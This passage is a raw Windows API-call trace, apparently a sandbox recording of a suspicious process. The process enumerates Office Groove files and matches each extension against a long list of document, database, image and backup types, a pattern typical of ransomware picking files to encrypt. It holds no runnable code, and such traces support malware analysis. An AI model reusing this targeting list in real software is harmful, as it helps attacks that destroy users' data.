[0264.356] lstrcmpiW (lpString1=".cub", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".dae") returned 4 [0264.356] lstrcmpiW (lpString1=".dae", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".dat") returned 4 [0264.356] lstrcmpiW (lpString1=".dat", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".db") returned 3 [0264.356] lstrcmpiW (lpString1=".db", lpString2="htm") returned -1 [0264.356] lstrlenW (lpString=".dbf") returned 4 [0264.356] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".dbx") returned 4 [0264.356] lstrcmpiW (lpString1=".dbx", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".dc3") returned 4 [0264.356] lstrcmpiW (lpString1=".dc3", lpString2=".htm") returned -1 [0264.356] lstrlenW (lpString=".dcm") returned 4 [0264.357] lstrcmpiW (lpString1=".dcm", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dcr") returned 4 [0264.357] lstrcmpiW (lpString1=".dcr", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".der") returned 4 [0264.357] lstrcmpiW (lpString1=".der", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dib") returned 4 [0264.357] lstrcmpiW (lpString1=".dib", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dic") returned 4 [0264.357] lstrcmpiW (lpString1=".dic", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dif") returned 4 [0264.357] lstrcmpiW (lpString1=".dif", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".divx") returned 5 [0264.357] lstrcmpiW (lpString1=".divx", lpString2="g.htm") returned -1 [0264.357] lstrlenW (lpString=".djvu") returned 5 [0264.357] lstrcmpiW (lpString1=".djvu", lpString2="g.htm") returned -1 [0264.357] lstrlenW (lpString=".dng") returned 4 [0264.357] lstrcmpiW (lpString1=".dng", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".doc") returned 4 [0264.357] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".docm") returned 5 [0264.357] lstrcmpiW (lpString1=".docm", lpString2="g.htm") returned -1 [0264.357] lstrlenW (lpString=".docx") returned 5 [0264.357] lstrcmpiW (lpString1=".docx", lpString2="g.htm") returned -1 [0264.357] lstrlenW (lpString=".dot") returned 4 [0264.357] lstrcmpiW (lpString1=".dot", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dotm") returned 5 [0264.357] lstrcmpiW (lpString1=".dotm", lpString2="g.htm") returned -1 [0264.357] lstrlenW (lpString=".dotx") returned 5 [0264.357] lstrcmpiW (lpString1=".dotx", lpString2="g.htm") returned -1 [0264.357] lstrlenW (lpString=".dpx") returned 4 [0264.357] lstrcmpiW (lpString1=".dpx", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dqy") returned 4 [0264.357] lstrcmpiW (lpString1=".dqy", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dsn") returned 4 [0264.357] lstrcmpiW (lpString1=".dsn", lpString2=".htm") returned -1 [0264.357] lstrlenW (lpString=".dt") returned 3 [0264.358] lstrcmpiW (lpString1=".dt", lpString2="htm") returned -1 [0264.358] lstrlenW (lpString=".dtd") returned 4 [0264.358] lstrcmpiW (lpString1=".dtd", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".dwg") returned 4 [0264.358] lstrcmpiW (lpString1=".dwg", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".dwt") returned 4 [0264.358] lstrcmpiW (lpString1=".dwt", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".dx") returned 3 [0264.358] lstrcmpiW (lpString1=".dx", lpString2="htm") returned -1 [0264.358] lstrlenW (lpString=".dxf") returned 4 [0264.358] lstrcmpiW (lpString1=".dxf", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".edml") returned 5 [0264.358] lstrcmpiW (lpString1=".edml", lpString2="g.htm") returned -1 [0264.358] lstrlenW (lpString=".efd") returned 4 [0264.358] lstrcmpiW (lpString1=".efd", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".elf") returned 4 [0264.358] lstrcmpiW (lpString1=".elf", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".emf") returned 4 [0264.358] lstrcmpiW (lpString1=".emf", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".emz") returned 4 [0264.358] lstrcmpiW (lpString1=".emz", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".epf") returned 4 [0264.358] lstrcmpiW (lpString1=".epf", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".eps") returned 4 [0264.358] lstrcmpiW (lpString1=".eps", lpString2=".htm") returned -1 [0264.358] lstrlenW (lpString=".epsf") returned 5 [0264.358] lstrcmpiW (lpString1=".epsf", lpString2="g.htm") returned -1 [0264.358] lstrlenW (lpString=".epsp") returned 5 [0264.358] lstrcmpiW (lpString1=".epsp", lpString2="g.htm") returned -1 [0264.358] lstrlenW (lpString=".erf") returned 4 [0264.358] lstrcmpiW (lpString1=".erf", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".exr") returned 4 [0264.359] lstrcmpiW (lpString1=".exr", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".f4v") returned 4 [0264.359] lstrcmpiW (lpString1=".f4v", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".fido") returned 5 [0264.359] lstrcmpiW (lpString1=".fido", lpString2="g.htm") returned -1 [0264.359] lstrlenW (lpString=".flm") returned 4 [0264.359] lstrcmpiW (lpString1=".flm", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".flv") returned 4 [0264.359] lstrcmpiW (lpString1=".flv", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".frm") returned 4 [0264.359] lstrcmpiW (lpString1=".frm", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".fxg") returned 4 [0264.359] lstrcmpiW (lpString1=".fxg", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".geo") returned 4 [0264.359] lstrcmpiW (lpString1=".geo", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".gif") returned 4 [0264.359] lstrcmpiW (lpString1=".gif", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".grs") returned 4 [0264.359] lstrcmpiW (lpString1=".grs", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".gz") returned 3 [0264.359] lstrcmpiW (lpString1=".gz", lpString2="htm") returned -1 [0264.359] lstrlenW (lpString=".h") returned 2 [0264.359] lstrcmpiW (lpString1=".h", lpString2="tm") returned -1 [0264.359] lstrlenW (lpString=".hdr") returned 4 [0264.359] lstrcmpiW (lpString1=".hdr", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".hpp") returned 4 [0264.359] lstrcmpiW (lpString1=".hpp", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".hta") returned 4 [0264.359] lstrcmpiW (lpString1=".hta", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".htc") returned 4 [0264.359] lstrcmpiW (lpString1=".htc", lpString2=".htm") returned -1 [0264.359] lstrlenW (lpString=".htm") returned 4 [0264.359] lstrcmpiW (lpString1=".htm", lpString2=".htm") returned 0 [0264.359] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1 [0264.360] lstrlenW (lpString="FormsViewAttachmentIcons.jpg") returned 28 [0264.360] lstrlenW (lpString=".1cd") returned 4 [0264.360] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".3ds") returned 4 [0264.360] lstrcmpiW (lpString1=".3ds", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".3fr") returned 4 [0264.360] lstrcmpiW (lpString1=".3fr", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".3g2") returned 4 [0264.360] lstrcmpiW (lpString1=".3g2", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".3gp") returned 4 [0264.360] lstrcmpiW (lpString1=".3gp", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".7z") returned 3 [0264.360] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0264.360] lstrlenW (lpString=".accda") returned 6 [0264.360] lstrcmpiW (lpString1=".accda", lpString2="ns.jpg") returned -1 [0264.360] lstrlenW (lpString=".accdb") returned 6 [0264.360] lstrcmpiW (lpString1=".accdb", lpString2="ns.jpg") returned -1 [0264.360] lstrlenW (lpString=".accdc") returned 6 [0264.360] lstrcmpiW (lpString1=".accdc", lpString2="ns.jpg") returned -1 [0264.360] lstrlenW (lpString=".accde") returned 6 [0264.360] lstrcmpiW (lpString1=".accde", lpString2="ns.jpg") returned -1 [0264.360] lstrlenW (lpString=".accdt") returned 6 [0264.360] lstrcmpiW (lpString1=".accdt", lpString2="ns.jpg") returned -1 [0264.360] lstrlenW (lpString=".accdw") returned 6 [0264.360] lstrcmpiW (lpString1=".accdw", lpString2="ns.jpg") returned -1 [0264.360] lstrlenW (lpString=".adb") returned 4 [0264.360] lstrcmpiW (lpString1=".adb", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".adp") returned 4 [0264.360] lstrcmpiW (lpString1=".adp", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".ai") returned 3 [0264.360] lstrcmpiW (lpString1=".ai", lpString2="jpg") returned -1 [0264.360] lstrlenW (lpString=".ai3") returned 4 [0264.360] lstrcmpiW (lpString1=".ai3", lpString2=".jpg") returned -1 [0264.360] lstrlenW (lpString=".ai4") returned 4 [0264.361] lstrcmpiW (lpString1=".ai4", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".ai5") returned 4 [0264.361] lstrcmpiW (lpString1=".ai5", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".ai6") returned 4 [0264.361] lstrcmpiW (lpString1=".ai6", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".ai7") returned 4 [0264.361] lstrcmpiW (lpString1=".ai7", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".ai8") returned 4 [0264.361] lstrcmpiW (lpString1=".ai8", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".anim") returned 5 [0264.361] lstrcmpiW (lpString1=".anim", lpString2="s.jpg") returned -1 [0264.361] lstrlenW (lpString=".arw") returned 4 [0264.361] lstrcmpiW (lpString1=".arw", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".as") returned 3 [0264.361] lstrcmpiW (lpString1=".as", lpString2="jpg") returned -1 [0264.361] lstrlenW (lpString=".asa") returned 4 [0264.361] lstrcmpiW (lpString1=".asa", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".asc") returned 4 [0264.361] lstrcmpiW (lpString1=".asc", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".ascx") returned 5 [0264.361] lstrcmpiW (lpString1=".ascx", lpString2="s.jpg") returned -1 [0264.361] lstrlenW (lpString=".asm") returned 4 [0264.361] lstrcmpiW (lpString1=".asm", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".asmx") returned 5 [0264.361] lstrcmpiW (lpString1=".asmx", lpString2="s.jpg") returned -1 [0264.361] lstrlenW (lpString=".asp") returned 4 [0264.361] lstrcmpiW (lpString1=".asp", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".aspx") returned 5 [0264.361] lstrcmpiW (lpString1=".aspx", lpString2="s.jpg") returned -1 [0264.361] lstrlenW (lpString=".asr") returned 4 [0264.361] lstrcmpiW (lpString1=".asr", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".asx") returned 4 [0264.361] lstrcmpiW (lpString1=".asx", lpString2=".jpg") returned -1 [0264.361] lstrlenW (lpString=".avi") returned 4 [0264.362] lstrcmpiW (lpString1=".avi", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".avs") returned 4 [0264.362] lstrcmpiW (lpString1=".avs", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".backup") returned 7 [0264.362] lstrcmpiW (lpString1=".backup", lpString2="ons.jpg") returned -1 [0264.362] lstrlenW (lpString=".bak") returned 4 [0264.362] lstrcmpiW (lpString1=".bak", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".bay") returned 4 [0264.362] lstrcmpiW (lpString1=".bay", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".bd") returned 3 [0264.362] lstrcmpiW (lpString1=".bd", lpString2="jpg") returned -1 [0264.362] lstrlenW (lpString=".bin") returned 4 [0264.362] lstrcmpiW (lpString1=".bin", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".bmp") returned 4 [0264.362] lstrcmpiW (lpString1=".bmp", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".bz2") returned 4 [0264.362] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".c") returned 2 [0264.362] lstrcmpiW (lpString1=".c", lpString2="pg") returned -1 [0264.362] lstrlenW (lpString=".cdr") returned 4 [0264.362] lstrcmpiW (lpString1=".cdr", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".cer") returned 4 [0264.362] lstrcmpiW (lpString1=".cer", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".cf") returned 3 [0264.362] lstrcmpiW (lpString1=".cf", lpString2="jpg") returned -1 [0264.362] lstrlenW (lpString=".cfc") returned 4 [0264.362] lstrcmpiW (lpString1=".cfc", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".cfm") returned 4 [0264.362] lstrcmpiW (lpString1=".cfm", lpString2=".jpg") returned -1 [0264.362] lstrlenW (lpString=".cfml") returned 5 [0264.363] lstrcmpiW (lpString1=".cfml", lpString2="s.jpg") returned -1 [0264.363] lstrlenW (lpString=".cfu") returned 4 [0264.363] lstrcmpiW (lpString1=".cfu", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".chm") returned 4 [0264.363] lstrcmpiW (lpString1=".chm", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".cin") returned 4 [0264.363] lstrcmpiW (lpString1=".cin", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".class") returned 6 [0264.363] lstrcmpiW (lpString1=".class", lpString2="ns.jpg") returned -1 [0264.363] lstrlenW (lpString=".clx") returned 4 [0264.363] lstrcmpiW (lpString1=".clx", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".config") returned 7 [0264.363] lstrcmpiW (lpString1=".config", lpString2="ons.jpg") returned -1 [0264.363] lstrlenW (lpString=".cpp") returned 4 [0264.363] lstrcmpiW (lpString1=".cpp", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".cr2") returned 4 [0264.363] lstrcmpiW (lpString1=".cr2", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".crt") returned 4 [0264.363] lstrcmpiW (lpString1=".crt", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".crw") returned 4 [0264.363] lstrcmpiW (lpString1=".crw", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".cs") returned 3 [0264.363] lstrcmpiW (lpString1=".cs", lpString2="jpg") returned -1 [0264.363] lstrlenW (lpString=".css") returned 4 [0264.363] lstrcmpiW (lpString1=".css", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".csv") returned 4 [0264.363] lstrcmpiW (lpString1=".csv", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".cub") returned 4 [0264.363] lstrcmpiW (lpString1=".cub", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".dae") returned 4 [0264.363] lstrcmpiW (lpString1=".dae", lpString2=".jpg") returned -1 [0264.363] lstrlenW (lpString=".dat") returned 4 [0264.363] lstrcmpiW (lpString1=".dat", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".db") returned 3 [0264.364] lstrcmpiW (lpString1=".db", lpString2="jpg") returned -1 [0264.364] lstrlenW (lpString=".dbf") returned 4 [0264.364] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dbx") returned 4 [0264.364] lstrcmpiW (lpString1=".dbx", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dc3") returned 4 [0264.364] lstrcmpiW (lpString1=".dc3", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dcm") returned 4 [0264.364] lstrcmpiW (lpString1=".dcm", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dcr") returned 4 [0264.364] lstrcmpiW (lpString1=".dcr", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".der") returned 4 [0264.364] lstrcmpiW (lpString1=".der", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dib") returned 4 [0264.364] lstrcmpiW (lpString1=".dib", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dic") returned 4 [0264.364] lstrcmpiW (lpString1=".dic", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".dif") returned 4 [0264.364] lstrcmpiW (lpString1=".dif", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".divx") returned 5 [0264.364] lstrcmpiW (lpString1=".divx", lpString2="s.jpg") returned -1 [0264.364] lstrlenW (lpString=".djvu") returned 5 [0264.364] lstrcmpiW (lpString1=".djvu", lpString2="s.jpg") returned -1 [0264.364] lstrlenW (lpString=".dng") returned 4 [0264.364] lstrcmpiW (lpString1=".dng", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".doc") returned 4 [0264.364] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0264.364] lstrlenW (lpString=".docm") returned 5 [0264.364] lstrcmpiW (lpString1=".docm", lpString2="s.jpg") returned -1 [0264.364] lstrlenW (lpString=".docx") returned 5 [0264.364] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0264.364] lstrlenW (lpString=".dot") returned 4 [0264.364] lstrcmpiW (lpString1=".dot", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dotm") returned 5 [0264.365] lstrcmpiW (lpString1=".dotm", lpString2="s.jpg") returned -1 [0264.365] lstrlenW (lpString=".dotx") returned 5 [0264.365] lstrcmpiW (lpString1=".dotx", lpString2="s.jpg") returned -1 [0264.365] lstrlenW (lpString=".dpx") returned 4 [0264.365] lstrcmpiW (lpString1=".dpx", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dqy") returned 4 [0264.365] lstrcmpiW (lpString1=".dqy", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dsn") returned 4 [0264.365] lstrcmpiW (lpString1=".dsn", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dt") returned 3 [0264.365] lstrcmpiW (lpString1=".dt", lpString2="jpg") returned -1 [0264.365] lstrlenW (lpString=".dtd") returned 4 [0264.365] lstrcmpiW (lpString1=".dtd", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dwg") returned 4 [0264.365] lstrcmpiW (lpString1=".dwg", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dwt") returned 4 [0264.365] lstrcmpiW (lpString1=".dwt", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".dx") returned 3 [0264.365] lstrcmpiW (lpString1=".dx", lpString2="jpg") returned -1 [0264.365] lstrlenW (lpString=".dxf") returned 4 [0264.365] lstrcmpiW (lpString1=".dxf", lpString2=".jpg") returned -1 [0264.365] lstrlenW (lpString=".edml") returned 5 [0264.365] lstrcmpiW (lpString1=".edml", lpString2="s.jpg") returned -1 [0264.366] lstrlenW (lpString=".efd") returned 4 [0264.366] lstrcmpiW (lpString1=".efd", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".elf") returned 4 [0264.366] lstrcmpiW (lpString1=".elf", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".emf") returned 4 [0264.366] lstrcmpiW (lpString1=".emf", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".emz") returned 4 [0264.366] lstrcmpiW (lpString1=".emz", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".epf") returned 4 [0264.366] lstrcmpiW (lpString1=".epf", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".eps") returned 4 [0264.366] lstrcmpiW (lpString1=".eps", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".epsf") returned 5 [0264.366] lstrcmpiW (lpString1=".epsf", lpString2="s.jpg") returned -1 [0264.366] lstrlenW (lpString=".epsp") returned 5 [0264.366] lstrcmpiW (lpString1=".epsp", lpString2="s.jpg") returned -1 [0264.366] lstrlenW (lpString=".erf") returned 4 [0264.366] lstrcmpiW (lpString1=".erf", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".exr") returned 4 [0264.366] lstrcmpiW (lpString1=".exr", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".f4v") returned 4 [0264.366] lstrcmpiW (lpString1=".f4v", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".fido") returned 5 [0264.366] lstrcmpiW (lpString1=".fido", lpString2="s.jpg") returned -1 [0264.366] lstrlenW (lpString=".flm") returned 4 [0264.366] lstrcmpiW (lpString1=".flm", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".flv") returned 4 [0264.366] lstrcmpiW (lpString1=".flv", lpString2=".jpg") returned -1 [0264.366] lstrlenW (lpString=".frm") returned 4 [0264.367] lstrcmpiW (lpString1=".frm", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".fxg") returned 4 [0264.367] lstrcmpiW (lpString1=".fxg", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".geo") returned 4 [0264.367] lstrcmpiW (lpString1=".geo", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".gif") returned 4 [0264.367] lstrcmpiW (lpString1=".gif", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".grs") returned 4 [0264.367] lstrcmpiW (lpString1=".grs", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".gz") returned 3 [0264.367] lstrcmpiW (lpString1=".gz", lpString2="jpg") returned -1 [0264.367] lstrlenW (lpString=".h") returned 2 [0264.367] lstrcmpiW (lpString1=".h", lpString2="pg") returned -1 [0264.367] lstrlenW (lpString=".hdr") returned 4 [0264.367] lstrcmpiW (lpString1=".hdr", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".hpp") returned 4 [0264.367] lstrcmpiW (lpString1=".hpp", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".hta") returned 4 [0264.367] lstrcmpiW (lpString1=".hta", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".htc") returned 4 [0264.367] lstrcmpiW (lpString1=".htc", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".htm") returned 4 [0264.367] lstrcmpiW (lpString1=".htm", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".html") returned 5 [0264.367] lstrcmpiW (lpString1=".html", lpString2="s.jpg") returned -1 [0264.367] lstrlenW (lpString=".icb") returned 4 [0264.367] lstrcmpiW (lpString1=".icb", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".ics") returned 4 [0264.367] lstrcmpiW (lpString1=".ics", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".iff") returned 4 [0264.367] lstrcmpiW (lpString1=".iff", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".inc") returned 4 [0264.367] lstrcmpiW (lpString1=".inc", lpString2=".jpg") returned -1 [0264.367] lstrlenW (lpString=".indd") returned 5 [0264.368] lstrcmpiW (lpString1=".indd", lpString2="s.jpg") returned -1 [0264.368] lstrlenW (lpString=".ini") returned 4 [0264.368] lstrcmpiW (lpString1=".ini", lpString2=".jpg") returned -1 [0264.368] RtlpDeCommitFreeBlock () [0264.368] FindNextFileW (in: hFindFile=0x46041f8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms4", cAlternateFileName="GROOVE~4")) returned 1 [0264.661] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.662] FindNextFileW (in: hFindFile=0x4604238, lpFindFileData=0x372eb9c | out: lpFindFileData=0x372eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x991bbe00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x991bbe00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0264.668] RtlpDeCommitFreeBlock () [0264.668] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9caf4500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9caf4500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Americana.css", cAlternateFileName="AMERIC~1.CSS")) returned 1 [0264.668] RtlpDeCommitFreeBlock () [0264.668] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x100d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBlue.css", cAlternateFileName="")) returned 1 [0264.669] RtlpDeCommitFreeBlock () [0264.669] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="Biscay.css", cAlternateFileName="")) returned 1 [0264.670] RtlpDeCommitFreeBlock () [0264.670] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9de07200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de07200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BrightOrange.css", cAlternateFileName="BRIGHT~1.CSS")) returned 1 [0264.671] RtlpDeCommitFreeBlock () [0264.671] FindNextFileW (in: hFindFile=0x46042b8, lpFindFileData=0x372e920 | out: lpFindFileData=0x372e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51a87c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, 